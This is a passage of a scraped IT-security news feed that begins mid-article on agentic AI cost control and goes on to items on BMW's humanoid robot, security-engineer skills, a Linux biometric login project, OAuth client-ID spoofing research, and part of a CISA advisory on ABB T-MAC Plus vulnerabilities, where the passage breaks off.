<p class="wp-block-paragraph">Elmer Morales, founder and CEO of koder.com, an agentic AI coding startup, says CIOs should think less about headcount and more about <a href="https://www.cio.com/article/4163373/cios-bring-ai-transformation-home-to-it-workflows.html?utm=hybrid_search">workflow mechanics</a>. Agentic AI costs are driven by the number of decisions an agent makes, how often it retrieves external data, how much context it carries, and how many systems it touches.</p>



<p class="wp-block-paragraph">“CIOs should start by mapping workflows, not necessarily users,” he says. “The relevant variable isn’t going to be the headcount but how many decisions an agent makes per task.”</p>



<h2 class="wp-block-heading">Model the failure path, not just the happy path</h2>



<p class="wp-block-paragraph">Pilots can mislead because they often test the cleanest version of an AI workflow. Morales says many enterprises model agentic AI costs around the happy path: the user gives a clear prompt, the system understands the request, the agent completes the task, and the process ends. Production is messier.</p>



<p class="wp-block-paragraph">“They generally don’t model for situations where the agent is going to need to go back and check its work and redo things,” Morales says. “A lot of times, agents are wrong, either because they hallucinate or they understood the problem incorrectly.”</p>



<p class="wp-block-paragraph">In an agentic workflow, the system may check its work, call another tool, retrieve more data, or redo a step. While that may improve quality, it also adds cost.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Elmer Morales, founder and CEO, koder.com</p>
</figcaption></figure><p class="imageCredit">koder.com</p></div>



<p class="wp-block-paragraph">The difference between copilots and <a href="https://www.cio.com/article/3603856/agentic-ai-promising-use-cases-for-business.html?utm=hybrid_search">agents</a> is central. A copilot interaction is often one prompt and one response. An agentic workflow may involve agents moving through a decision tree, executing tasks in sequence or in parallel, and calling sub-agents or external systems along the way. “By the time it’s achieved the original goal, the agent might have made 50 or 100 model calls, compared with a single call for a traditional copilot prompt,” Morales says.</p>



<p class="wp-block-paragraph">That’s why CIOs should require teams to model the failure path before production, like how many retries are allowed, how much context is resent, which tools can be called, when a human should intervene, and what happens when the agent can’t complete the task.</p>



<h2 class="wp-block-heading">Build cost controls into the architecture</h2>



<p class="wp-block-paragraph">Traditional FinOps practices still matter, but AI requires more than retrospective dashboards and chargebacks.</p>



<p class="wp-block-paragraph">According to Pavan Madduri, senior cloud platform engineer at industrial supply company Graigner, looking backward at usage data, as traditional FinOps often does, can be too late. Costs are shaped by prompt design, model selection, agent behavior, orchestration choices, and runtime loops.</p>



<p class="wp-block-paragraph">“Dashboards or chargebacks, those are historical accounting,” he says. “The money’s already gone.” For AI, he argues, cost controls need to be embedded into the architecture. That includes hard token caps, retry-depth limits, maximum runtime limits, workload prioritization, background-job throttling, and cluster-level controls that prevent runaway consumption.</p>



<p class="wp-block-paragraph">“The real FinOps means you need to have the cost constraints embedded into your architecture framework,” Madduri says.</p>



<p class="wp-block-paragraph">Those controls also extend to infrastructure. Expensive GPUs may sit warm between jobs because systems need capacity available when inference demand arrives. Teams may pass huge schemas, databases, or thousands of lines of code into frontier models when a smaller or more focused prompt would do.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="828" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Pavan Madduri, senior cloud platform engineer, Graigner</p>
</figcaption></figure><p class="imageCredit">Graigner</p></div>



<p class="wp-block-paragraph">Enterprises should also adopt event-driven autoscaling, Madduri says. “Use tools like KEDA to scale GPU nodes down to zero the moment inference demand drops, so teams only pay for the windows when the silicon is actively crunching tokens.”</p>



<p class="wp-block-paragraph">Corrigan says World uses rate limits, spend limits, alerts, and approval gateways for consumption-based tools. When users approach token consumption limits, automated alerts allow IT and the business to review whether the continued spend is justified.</p>



<p class="wp-block-paragraph">“If it’s not meeting the success criteria we expected, you have to have the control in place to say we’re going to move on or kill that process,” Corrigan says.</p>



<h2 class="wp-block-heading">Route work to the right model</h2>



<p class="wp-block-paragraph">CIOs can also reduce <a href="https://www.cio.com/article/4152601/without-controls-an-ai-agent-can-cost-more-than-an-employee.html?utm=hybrid_search">AI bill shock</a> by avoiding a default assumption that every task requires the most powerful model available. While some tasks need advanced reasoning, many others don’t. A simple support ticket, log-parsing task, or structured database transaction may be handled by a smaller or cheaper model. A complex architecture decision, legal analysis, or multi-step reasoning task may justify a more powerful one.</p>



<p class="wp-block-paragraph">“Choosing the right model for the right prompt and right question — that’s where you leverage the maximum from that model, and you can decrease the costing,” Madduri says. “If you default every single call to a frontier model, that’s architectural laziness.”</p>



<p class="wp-block-paragraph">Morales makes a similar point. Not every step in an agentic workflow requires a top-of-the-line model. Model routing, he says, is the discipline of determining the best model for the task, and providing the relevant context when the model needs it.</p>



<p class="wp-block-paragraph">According to Jim Olsen, CTO of enterprise software company ModelOp, CIOs should use the least expensive model that can accomplish the business goal. Using the biggest model for everything is easier, but expensive. “It’s like hiring the most expensive engineer to change a few colors in a website’s CSS, or visual styling,” he says. “You wouldn’t do that. You use the appropriate tools for the task.”</p>



<h2 class="wp-block-heading">Tie consumption to business value</h2>



<p class="wp-block-paragraph">For Olsen, the deeper enterprise problem is AI value shock, not just bill shock. Spending $200,000 in a quarter on AI is justified if it produces $2 million in business value. The problem is spending heavily on use cases that don’t generate a meaningful return.</p>



<p class="wp-block-paragraph">“Are you actually getting that return on investment, or are you just blowing tokens for something that’s not delivering the value to your business?” Olsen asks. Tracking token usage by user or department may show who consumed AI, but not whether the consumption mattered.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Jim Olsen, CTO, ModelOp</p>
</figcaption></figure><p class="imageCredit">ModelOp</p></div>



<p class="wp-block-paragraph">For most enterprise AI systems, Olsen says costs should be tied back to business use cases. A model may be used for HR document search, customer support, code review, problem resolution, or other functions. Each use case may draw on the same underlying models or agents, but the business value can be very different.</p>



<p class="wp-block-paragraph">That’s why he argues that companies need an AI inventory, a record of which business workflows use which models, agents, providers, workflows, and systems. Without that inventory, enterprises can’t connect consumption to value.</p>



<p class="wp-block-paragraph">Corrigan takes a similar approach from a governance perspective. At World, new AI ideas go through an intake process. Business users propose improvements, and IT, finance, operations, sales, and business stakeholders evaluate, prioritize, and monitor them from pilot through production.</p>



<p class="wp-block-paragraph">That may be where the next stage of AI FinOps is heading, toward a clearer understanding of which AI consumption deserves to scale, not just to lower bills. So the question, as Olsen puts it, isn’t whether someone used a million tokens. It’s what are they using them for.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW elevates its AI humanoid robot strategy to include logistics]]></title>
<description><![CDATA[When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production lo...]]></description>
<link>https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When people hear the term <em>artificial intelligence</em>, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term <em>physical AI</em>, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.</p>



<p class="wp-block-paragraph">The move comes as no surprise: For almost a year, <a href="https://www.cio.de/article/3699238/bmw-testet-naechste-generation-humanoider-roboter.html?utm=hybrid_search">BMW had the predecessor (Figure 02)</a> welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.</p>



<h2 class="wp-block-heading">The task: Transform chaos into order</h2>



<p class="wp-block-paragraph">While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.</p>



<p class="wp-block-paragraph">To achieve this, the manufacturer has upgraded Figure AI. The new robot has:</p>



<ul class="wp-block-list">
<li>Cameras and tactile sensors directly in the palms of the hands for greater sensitivity</li>



<li>Audio functions for true speech-to-speech communication in the factory hall</li>



<li>Wireless charging for continuous, autonomous operation</li>



<li>Softer components to increase safety for human colleagues</li>
</ul>



<p class="wp-block-paragraph">At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/BMW-humanoider-Roboter-Figure-03_.png?w=1024" alt="BMW, humanoider Roboter Figure 03, Spartanburg" class="wp-image-4190512" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">These advanced robots, equipped with new capabilities, are taking on new tasks.</figcaption></figure><p class="imageCredit">BMW AG</p></div>



<p class="wp-block-paragraph">BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.</p>



<ol start="1" class="wp-block-list">
<li><strong>Virtual twins:</strong> Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.</li>



<li><strong>AI Quality Control (AIQX):</strong> Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.</li>



<li><strong>Infrastructure scaling:</strong> When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.</li>
</ol>



<p class="wp-block-paragraph">On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 skills and traits of elite security engineers]]></title>
<description><![CDATA[Security engineers play a pivotal role in enterprise cybersecurity, because they are the professionals who design, build, and deploy security systems to protect an organization’s data, applications, systems, networks, and other IT components against a variety of cyber threats.



Finding not just...]]></description>
<link>https://tsecurity.de/de/3669835/it-security-nachrichten/7-skills-and-traits-of-elite-security-engineers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669835/it-security-nachrichten/7-skills-and-traits-of-elite-security-engineers/</guid>
<pubDate>Wed, 15 Jul 2026 09:08:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security engineers play a pivotal role in enterprise cybersecurity, because they are the professionals who design, build, and deploy security systems to protect an organization’s data, applications, systems, networks, and other IT components against a variety of cyber threats.</p>



<p class="wp-block-paragraph">Finding not just qualified security engineers, but the best and brightest available, needs to be a priority for CISOs and others overseeing security at their organizations. That’s especially true with the rapid rise of AI and the threats that brings to the enterprise.</p>



<p class="wp-block-paragraph">Here are some of the key skills and traits of elite security engineers to look for when hiring — or to acquire in order to uplevel your cybersecurity career.</p>



<h2 class="wp-block-heading">Acumen with AI-powered tools</h2>



<p class="wp-block-paragraph">These days, AI-related skills are in demand regardless of domain, and this certainly applies to security engineers. There’s a wealth of solutions leveraging AI in the market, tools that engineers can add to their defense arsenal.</p>



<p class="wp-block-paragraph">“AI is transforming security engineering from reactive alerting to predictive threat detection,” says Praveen Margabandhu, digital engineering anchor at financial services firm Navy Federal Credit Union. “AI-driven anomaly detection now identifies behavioral patterns that indicate fraud or compromise before traditional threshold-based systems would fire. This shifts the security engineer’s role from incident responder to threat model designer.”</p>



<p class="wp-block-paragraph">AI-powered tools have taken over a large portion of the detection and triage work that used to be the core of a security engineer’s day, says Maruf Ahmed, cofounder and CEO of global tech staffing firm Dexian. “Vulnerability scanning runs on its own now,” he says. “Threat flagging that used to require a team pulling through logs for hours happens in minutes.”</p>



<p class="wp-block-paragraph">This has freed up capacity on most security teams and changed what the day-to-day work looks like, Ahmed says. “With detection increasingly automated, the engineer’s value sits more in interpreting what gets flagged and deciding what to do about it,” he says.</p>



<h2 class="wp-block-heading">Keen understanding of emerging and established AI threats</h2>



<p class="wp-block-paragraph">Engineers must also have a thorough understanding of the risks AI presents, including <strong><a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">AI-enhanced cyberattacks</a> using</strong><strong> </strong>large language models (LLMs) to automate and scale <a href="https://www.csoonline.com/article/3819176/top-5-ways-attackers-use-generative-ai-to-exploit-your-systems.html">highly personalized social engineering attacks</a>, craft sophisticated malware, and generate deepfakes.</p>



<p class="wp-block-paragraph">Other <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">AI threats they need to be aware of</a> include prompt injections, data and model poisoning, disclosure of sensitive information, model theft, supply chain compromises, and excessive agency.</p>



<p class="wp-block-paragraph">“The same generative tools that help security teams work faster are available to adversaries, and it shows,” Ahmed says. “Phishing campaigns read better and land more precisely than they did a year ago. Social engineering is harder to catch when the language is polished and tailored to the target, and security engineers are now defending against threats built with the same class of technology they use on the defensive side.”</p>



<p class="wp-block-paragraph">That has raised the bar for what reliable detection looks like, Ahmed says. “The objective shift I hear most from clients is about trust in their own systems,” he says. “Two years ago, the priority was visibility — making sure you could see across your environment. Most organizations have that now. The harder problem is knowing whether what those tools are telling you holds up under scrutiny and having people on the team who can stand behind those findings in front of a regulator or a board.”</p>



<h2 class="wp-block-heading">Appreciation of performance and business goals</h2>



<p class="wp-block-paragraph">The best security engineers understand how performance and security intersect, says Margabandhu, who leads performance engineering across Navy Federal Credit Union’s digital banking infrastructure, including real-time fraud detection, identity and access management, and cybersecurity infrastructure resilience.</p>



<p class="wp-block-paragraph">“A fraud detection system that is secure but too slow to catch transactions in real-time is not secure at all,” Margabandhu says. “Elite engineers optimize for both simultaneously.”</p>



<p class="wp-block-paragraph">Engineers must be able to put things in business context, Ahmed says. “An engineer who can work across domains, validate AI outputs, and learn new tools fast is valuable. But that value compounds when the person also understands what the organization is trying to protect and why,” he says.</p>



<p class="wp-block-paragraph">Security engineers who understand the business make better risk decisions, write more effective policies, and generate less friction with the teams around them, Ahmed says. “That is the profile employers are hiring toward right now, and it is where the talent shortage is most pronounced,” he says.</p>



<h2 class="wp-block-heading">Systems mindset</h2>



<p class="wp-block-paragraph">“One of the biggest misconceptions in cybersecurity hiring is that elite security engineers are defined purely by technical certifications or tool familiarity,” says Juan Mathews Rebello Santos, an independent cybersecurity researcher and ethical hacker.</p>



<p class="wp-block-paragraph">“Technical skill absolutely matters, but the strongest engineers I’ve worked with consistently share a combination of analytical thinking, operational adaptability, communication ability, and deep systems understanding,” Santos says.</p>



<p class="wp-block-paragraph">Elite security engineers understand how infrastructure, cloud services, identity systems, applications, APIs, networks, users, and business operations connect, Santos says.</p>



<p class="wp-block-paragraph">“Modern attacks rarely target a single isolated component anymore,” he says. “Threat actors chain together weaknesses across environments. Engineers who can understand those relationships holistically are significantly more effective at both prevention and incident response.”</p>



<h2 class="wp-block-heading">Cross-disciplinary fluency and broad stack know-how</h2>



<p class="wp-block-paragraph">Being an elite software engineer today means having a range of technology experience and knowledge. “Organizations want engineers who can work across more of the stack than they used to,” Ahmed says. “A role that might have asked for deep specialization in one area now expects someone who can move between cloud infrastructure, application security, and compliance without needing a handoff at every boundary.”</p>



<p class="wp-block-paragraph">The attack surface has continued to get wider, and the job descriptions for security engineers has followed suit. “That cross-domain fluency matters because security incidents rarely stay contained in one layer,” Ahmed says. “The engineer who can follow a problem from the network through the application to the data governance framework resolves it faster, with fewer people involved.”</p>



<p class="wp-block-paragraph">The strongest security engineers bridge infrastructure, application, and business domains, Margabandhu says. “They can speak to a CISO, a developer, and a cloud architect in the same conversation,” he says. “An engineer who can explain what an authentication problem means for fraud exposure moves faster in a room full of executives than one who can only describe it in infrastructure terms. I’ve watched technically brilliant people lose that race repeatedly.”<br><br></p>



<p class="wp-block-paragraph">Having the ability to communicate technical risk clearly to non-technical leadership can mean the difference between success and failure of attacks.</p>



<p class="wp-block-paragraph">“Many security failures today are not caused by lack of tooling, but by misalignment between technical teams and business decision-makers,” Santos says. “Elite engineers can explain operational risk, prioritization, and security tradeoffs in language executives understand.”</p>



<h2 class="wp-block-heading">Deep understanding of third-party risk and non-human threats</h2>



<p class="wp-block-paragraph">Threats can come from anywhere, including supply chains and non-human combatants. Third-party cybersecurity risks are on the rise. The 2026 Global CISO Leadership Report by executive search firm Hitch Partners, based on a survey of more than 625 information security executives across the US and Canada, says 43% put third-party risks as the No. 1 priority.</p>



<p class="wp-block-paragraph">“Most teams are still better at securing what they own than securing what they depend on,” Margabandhu says. “The mental shift from perimeter thinking to dependency thinking is real and not everyone has made it. The engineers who treat <a href="https://www.csoonline.com/article/4148315/apis-are-the-new-perimeter-heres-how-cisos-are-securing-them.html">every API call</a>, every credentialed vendor, every third-party model as part of their attack surface approach design differently.”</p>



<p class="wp-block-paragraph">Another growing source of potential threats are not human. <a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Machine identities</a> now outnumber human identities by ratios exceeding 100 to 1 in most enterprise environments, with some sectors closer to 500 to 1, according to the ManageEngine Identity Security Outlook 2026 report.</p>



<p class="wp-block-paragraph">This includes service accounts, API keys, automation tokens, and AI agents, any one of which can present data governance and security risks.</p>



<p class="wp-block-paragraph">Many organizations are still managing machine identities through manual processes that weren’t designed for scale, Margabandhu says. “Engineers who understand non-human identity governance are rare and increasingly important. This is not a future problem.”<br><br></p>



<h2 class="wp-block-heading">Willingness to keep learning</h2>



<p class="wp-block-paragraph">Security engineers need to have a desire to never stopped learning.</p>



<p class="wp-block-paragraph">“That sounds obvious until you work with people who’ve been doing this for 15 years and are still operating from the same threat models they built in 2012,” Margabandhu says. “Security changes fast enough that standing still is the same as going backwards.”</p>



<p class="wp-block-paragraph">The security engineers who keep up aren’t reading one report a year. “They’re genuinely curious about what attackers are doing right now, this month, and they adjust how they think accordingly,” Margabandhu says. “That quality is harder to hire for than most technical skills, because it’s not on a resume.”<br><br></p>



<p class="wp-block-paragraph">With AI presenting new and more sophisticated threats, keeping up with the latest developments is perhaps more important than ever. “Strong engineers are naturally investigative,” Santos says. “They actively study attack techniques, test assumptions, reverse engineer failures, and continuously adapt their understanding of risk.”</p>



<p class="wp-block-paragraph">The best security engineers are often the people who remain intellectually uncomfortable because they know the landscape is always evolving, Santos says.</p>



<p class="wp-block-paragraph">Employers have started paying closer attention to how fast someone can learn, Ahmed says. “The threat landscape and the defensive toolkit are both moving faster than any certification program can track, so hiring managers are probing for adaptability in interviews: how candidates have responded to recent shifts, whether they have picked up unfamiliar platforms on their own, how they work through problems they have not seen before,” he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Just showing off my side project]]></title>
<description><![CDATA[I have built an alternative to Howdy, which is a face authentication module in Linux. Unlike traditional Linux face authentication solutions, like Howdy, Biopass supports both facial recognition and fingerprint authentication, allowing them to run concurrently so users can authenticate with which...]]></description>
<link>https://tsecurity.de/de/3669476/linux-tipps/just-showing-off-my-side-project/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669476/linux-tipps/just-showing-off-my-side-project/</guid>
<pubDate>Wed, 15 Jul 2026 05:10:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I have built an alternative to Howdy, which is a face authentication module in Linux.</p> <p>Unlike traditional Linux face authentication solutions, like Howdy, Biopass supports both facial recognition and fingerprint authentication, allowing them to run concurrently so users can authenticate with whichever biometric succeeds first, similar to Windows Hello.</p> <p>The project is available at <a href="https://github.com/TickLabVN/biopass">https://github.com/TickLabVN/biopass</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/phucvinh57"> /u/phucvinh57 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwtmyf/just_showing_off_my_side_project/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwtmyf/just_showing_off_my_side_project/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Spoof 3.7 Million OAuth Client IDs to Stealthily Enumerate 2 Million Entra ID Users]]></title>
<description><![CDATA[Threat actors are increasingly exploiting spoofed OAuth client IDs to enumerate Microsoft Entra ID accounts and identify potentially valid credentials while evading traditional detection methods, according to recent research from Proofpoint. OAuth client IDs are globally unique identifiers assign...]]></description>
<link>https://tsecurity.de/de/3668868/it-security-nachrichten/hackers-spoof-37-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668868/it-security-nachrichten/hackers-spoof-37-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/</guid>
<pubDate>Tue, 14 Jul 2026 20:21:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Threat actors are increasingly exploiting spoofed OAuth client IDs to enumerate Microsoft Entra ID accounts and identify potentially valid credentials while evading traditional detection methods, according to recent research from Proofpoint. OAuth client IDs are globally unique identifiers assigned to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-spoof-3-7-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-spoof-3-7-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/">Hackers Spoof 3.7 Million OAuth Client IDs to Stealthily Enumerate 2 Million Entra ID Users</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Spoof 3.7 Million OAuth Client IDs to Stealthily Enumerate 2 Million Entra ID Users]]></title>
<description><![CDATA[Threat actors are increasingly exploiting spoofed OAuth client IDs to enumerate Microsoft Entra ID accounts and identify potentially valid credentials while evading traditional detection methods, according to recent research from Proofpoint. OAuth client IDs are globally unique identifiers assign...]]></description>
<link>https://tsecurity.de/de/3668731/it-security-nachrichten/hackers-spoof-37-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668731/it-security-nachrichten/hackers-spoof-37-million-oauth-client-ids-to-stealthily-enumerate-2-million-entra-id-users/</guid>
<pubDate>Tue, 14 Jul 2026 19:07:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Threat actors are increasingly exploiting spoofed OAuth client IDs to enumerate Microsoft Entra ID accounts and identify potentially valid credentials while evading traditional detection methods, according to recent research from Proofpoint. OAuth client IDs are globally unique identifiers assigned to registered applications. During authentication, an application submits its identifier through the client_id parameter. Microsoft Entra […]</p>
<p>The post <a href="https://cybersecuritynews.com/hackers-spoof-oauth-client-ids/">Hackers Spoof 3.7 Million OAuth Client IDs to Stealthily Enumerate 2 Million Entra ID Users</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ABB T-MAC Plus]]></title>
<description><![CDATA[View CSAF
Summary
ABB became aware of vulnerability in the products versions listed as affected in the advisory. An update is available that resolves the reported vulnerabilities. An attacker who successfully exploited any of these vulnerabilities could potentially compromise the system in differ...]]></description>
<link>https://tsecurity.de/de/3668600/it-security-nachrichten/abb-t-mac-plus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668600/it-security-nachrichten/abb-t-mac-plus/</guid>
<pubDate>Tue, 14 Jul 2026 18:14:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-195-03_drupal.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>ABB became aware of vulnerability in the products versions listed as affected in the advisory. An update is available that resolves the reported vulnerabilities. An attacker who successfully exploited any of these vulnerabilities could potentially compromise the system in different ways.</strong></p>
<p>The following versions of ABB T-MAC Plus are affected:</p>
<ul>
<li>T-MAC Plus 4.0-24 (CVE-2025-14771, CVE-2025-14772, CVE-2025-14773, CVE-2025-14774)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.9</td>
<td>ABB</td>
<td>ABB T-MAC Plus</td>
<td>Files or Directories Accessible to External Parties, Authorization Bypass Through User-Controlled Key, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Switzerland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14771</a></h3>
<div class="csaf-accordion-content">
<p>File Disclosure in ABB T-MAC Plus web application allows authenticated users to exfiltrate files containing sensitive information via crafted HTTP GET request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14771">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>The misconfigurations on the IIS server, which were reported to security auditing, have been corrected. File Browsing Feature was enabled on that IIS server. That feature along with the default IIS site has been removed.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/552.html">CWE-552 Files or Directories Accessible to External Parties</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.9</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14772</a></h3>
<div class="csaf-accordion-content">
<p>Broken access controls in ABB T-MAC Plus web application allows unprivileged users to performs administrative operations</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14772">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
